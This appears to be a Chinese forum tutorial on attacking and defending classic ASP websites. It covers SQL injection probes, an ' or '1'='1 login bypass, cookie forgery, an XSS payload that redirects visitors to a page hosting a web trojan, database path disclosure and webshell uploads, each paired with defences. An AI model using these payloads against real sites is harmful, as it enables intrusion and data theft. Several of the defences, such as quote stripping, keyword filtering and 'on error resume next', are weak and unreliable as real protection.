一、SQL注入漏洞
漏洞簡介:
程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。
SQL注入漏洞的幾種類型:
1、數字型注入漏洞
例如:http://www.test.com/bug.asp?id=11,這個名爲“bug.asp”的文件存在有數據提交,提交的參數名爲“id”,參數值爲“11”,這裏提交的值“11”爲數字型,執行SQL語句時就類似於:
select * from 表名 where id=11
其中在bug.asp文件中獲取客戶端提交過來的參數“id”的值的寫法一般是這樣的:
id=request("id")
如果id變量沒有經過充分過濾就直接放入SQL語句中執行的話,那麼SQL注入漏洞就產生了!
漏洞檢測方法:
提交:
http://www.test.com/bug.asp?id=11 and 1=1 和
http://www.test.com/bug.asp?id=11 and 1=2
查看兩次頁面的返回結果是否一樣。
2、字符型注入漏洞
例如:http://www.test.com/bug2.asp?name=xufang,這個名爲“bug2.asp”的文件存在有數據提交,提交的參數名爲“name”,參數值爲“xufang”,這裏提交的值“xufang”爲字符型,執行SQL語句時就類似於:
select * from 表名 where name='xufang'
其中在bug2.asp文件中獲取客戶端提交過來的參數“name”的值的寫法一般是這樣的:
name=request("name")
如果name變量沒有經過充分過濾就直接放入SQL語句中執行的話,那麼SQL注入漏洞就產生了!
漏洞檢測方法:
提交:http://www.test.com/bug2.asp?name=xufang' and '1'='1 和
http://www.test.com/bug2.asp?name=xufang' and '1'='2
查看兩次頁面的返回結果是否一樣。
3、搜索型注入漏洞
例如:http://www.test.com/bug3.asp?keyword=xhonker,這個名爲“bug3.asp”的文件存在有數據提交,提交的參數名爲“keyword”,參數值爲“xhonker”,執行SQL語句時就類似於:
select * from 表名 where keyword like '%xhonker%'
其中在bug3.asp文件中獲取客戶端提交過來的參數“keyword”的值的寫法一般是這樣的:
keyword=request("keyword")
如果keyword變量沒有經過充分過濾就直接放入SQL語句中執行的話,那麼SQL注入漏洞就產生了!
檢測方法:
提交:http://www.test.com/bug3.asp?keyword=xhonker%' and 1=1 and '%'=' 和
http://www.test.com/bug3.asp?keyword=xhonker%' and 1=2 and '%'='
查看兩次頁面的返回結果是否一樣。
注:在SQL注入漏洞的檢測中還有另外一種情況,例如:
http://www.test.com/bug4.asp?name=xufang&id=1986
這裏bug4.asp同時獲取了兩個變量“name”和“id”的值,用字符串連接符“&”連接兩個參數,有的時候程序員只對其中的一
個變量進行了過濾,而忽略了另外的一個變量,例如這裏程序員只對參數“id”的值進行了過濾,而沒有對參數“name”的值進行過濾,所以我們就可以將參數“name”和“id”的順序進行下調換,提交:
http://www.test.com/bug4.asp?id=1986&name=xufang 注入語句
就可以了!
防禦方法:
對於數字型注入漏洞,我們可以使用VBScript中的cint()函數將提交過來的參數值進行強制類型轉換,例如:
id=cint(trim(request("id")))
對於字符型和搜索型注入漏洞,我們可以編寫一個過濾SQL注入關鍵字的函數,需要時調用該函數即可!
二、跨站腳本攻擊漏洞
漏洞簡介:
網站對於用戶輸入的數據過濾不嚴格,倘若用戶輸入的數據中含有HTML代碼的話,則該代碼將會在頁面載入時自動運行,一旦輸入的數據中含有惡意代碼,那麼後果將不堪設想!
例如:
某個新聞發佈系統的用戶評論部分對用戶名和E-mail過濾不嚴格,我們就可以點擊某一條新聞,在用戶評論部分的用戶名處輸入“<script>location="http://www.xxx.com/x.htm"</script>”這樣的語句,當然你也可以自己構造語句,其中http://www.xxx.com/x.htm爲我們存放網頁木馬的地址。完成後,只要其他瀏覽網站的用戶再點擊這條新聞,新聞頁面就會自動轉向http://www.xxx.com/x.htm。
檢測方法:
網站是否有跨站漏洞,我們可以用“<script>alert('xhonker');</script>”這句代碼來檢測,如果網頁彈出了“xhonker”的提示框,則表示有跨站漏洞。
同時我們也可以通過在返回的頁面中搜索我們提交的HTML字符,看對方對哪些字符進行了過濾。
防禦方法:
我們可以採用下面的函數對用戶提交的HTML字符進行過濾:
Public Function FilterHtml(Str)
If Trim(Str)="" or Isnull(str) Then
FilterHtml=""
Else
Str=Replace(Str,">",">")
Str=Replace(Str,"<","<")
Str=Replace(Str,Chr(32)," ")
Str=Replace(Str,Chr(9)," ")
Str=Replace(Str,Chr(34),""")
Str=Replace(Str,Chr(39),"'")
Str=Replace(Str,Chr(13),"")
Str=Replace(Str,Chr(10)&Chr(10),"</p><p>")
Str=Replace(Str,Chr(10),"<br>")
FilterHtml=Str
End If
End Function
三、登陸驗證繞過漏洞
漏洞簡介:
在某些網站程序中,用戶可以在未經過受權的情況下訪問某些敏感頁面,譬如網站後臺頁面。
舉例:
1、萬能密碼進後臺
有些網站的後臺驗證部分使用的是如下代碼:
username=trim(request.form("user"))
password=trim(request.form("pass"))
sql="select * from admin where username='"&username&"' and password='"&password&"'"
如果這個時候我們提交一個用戶名爲“xhonker' or '1'='1”,密碼爲任意的數據,會發現一樣可以登陸後臺!這時SQL語句就變
成了這個樣子:
select * from admin where username='xhonker' or '1'='1' and password='"&password&"'
解釋一下,“or”是一個邏輯運算符,作用是在判斷兩個條件的時候,只要其中一個條件成立,那麼等式將會成立。這裏1=1永遠成立,所以我們提交的SQL語句永遠爲真,這樣就可以在不知道密碼的情況下成功登陸後臺!
防禦方法:
這裏大家可以看出,利用成功的條件必須要是提交的數據庫含有單引號,如果我們將單引號過濾掉的話對方就拿我們沒有辦法了!有些程序員採用在客戶端寫一段Javascript或者VBScript腳本來實現過濾,但這其實也存在安全隱患,因爲客戶端的腳本我們是可以隨意修改的,我們只需將其刪除然後修改下提交表單中“action”屬性處的值即可!這裏我們採用如下方法進行過濾:
username=replace(trim(request.form("user")),"'","")
password=replace(trim(request.form("pass")),"'","")
在服務器端使用replace函數將客戶端提交過來的'過濾爲空,這樣對方就無法採用閉合程序中的單引號來實現非法登陸了!
2、Cookies欺騙進後臺
有些網站的後臺頁面使用的是Cookies驗證,代碼如下:
If request.cookies("admin")="" then
response.redirect "login.asp"
程序只是簡單的判斷Cookies中admin的值是否爲空,如果爲空則返回登陸頁面,不爲空則進入後臺頁面。而Cookies我們是可以在客戶端進行僞造的,我們只需將admin的Cookies值設爲任意,只要不爲空就可以,這樣再次訪問後臺頁面就可以進入了!
防禦方法:
提倡大家在服務器端使用Session驗證,也可以通過判斷用戶是否是從特定的頁面進入的後臺頁面。
四、暴庫漏洞
漏洞簡介:
1、%5c法
對於一些Access數據庫的主機而言,我們可以通過暴庫獲得數據庫的絕對路徑。假設頁面地址是:http://www.xxx.com/xx/x.asp?id=123,我們可以嘗試提交http://www.xxx.com/xx%5cx.asp?id=123。如果能獲得絕對地址,我們只要再適當結合網頁地址,就能下載到數據庫了!
2、conn.asp法
動力文章系統以前就暴出過這個漏洞,通過直接訪問網站的conn.asp文件就可以獲得數據庫的絕對路徑!
防禦方法:
只需在網站的數據庫連接文件,譬如conn.asp文件中加入語句“on error resume next”即可!
五、利用網站後臺配置文件寫入Webshell漏洞
漏洞簡介:
有些網站的後臺程序沒有對網站配置信息部分做充分的過濾,惡意用戶在進入後臺後可以向其配置文件中寫入一句話木馬,然後利用一句話木馬客戶端進行連接。
防禦方法:
對於網站信息配置文件中的內容進行有效的過濾,從而防止這種情況的發生。
六、.asp
後綴數據庫安全隱患
漏洞簡介:
對於使用Access數據庫的網站,管理員爲了防止其數據庫被下載,便將原來的.mdb後綴修改爲了.asp後綴,但這樣做一樣存在安全隱患,如果數據庫中不存在有防下載表的話,用戶通過Flashget這樣的軟件一樣可以將數據庫下載下來。
而且如果數據庫中不存在防下載表的話,用戶如果向數據庫中寫入asp代碼的話,譬如一句話木馬的代碼,這樣當用戶使用一句話木馬客戶端連接數據庫文件時,其中的代碼就會被解釋並且執行,直接危急網站的安全!
防禦方法:
對於.asp後綴的數據庫,建議在其中加入防下載表,這樣對於惡意下載數據庫以及asp代碼的執行都起到了很好的防禦作用!
七、上傳漏洞
漏洞簡介:
如果程序對用戶上傳文件的類型沒有做好嚴格過濾的話,用戶即可上傳譬如.asp這樣的文件,從而危及網站及服務器的安全。
防禦方法:
有些程序員只是在客戶端使用Javascript或者VBScript對用戶上傳文件的類型進行過濾,但這樣的過濾是根本不起作用的,因爲用戶可以控制客戶端腳本的內容。
建議在服務器端對上傳的文件類型進行嚴格的過濾,禁止用戶上傳任何對服務器安全具有威脅的文件,譬如.asp文件。
還有就是在IIS的設置中禁止保存上傳文件的目錄的可執行權限,這樣即使非法用戶成功上傳了對服務器安全構成威脅的文件,但該文件也是無法被成功解析的,自然就失去了它原有的意義。
這些是ASP入侵基礎。以後我還會發一下ASP基礎給大家看的。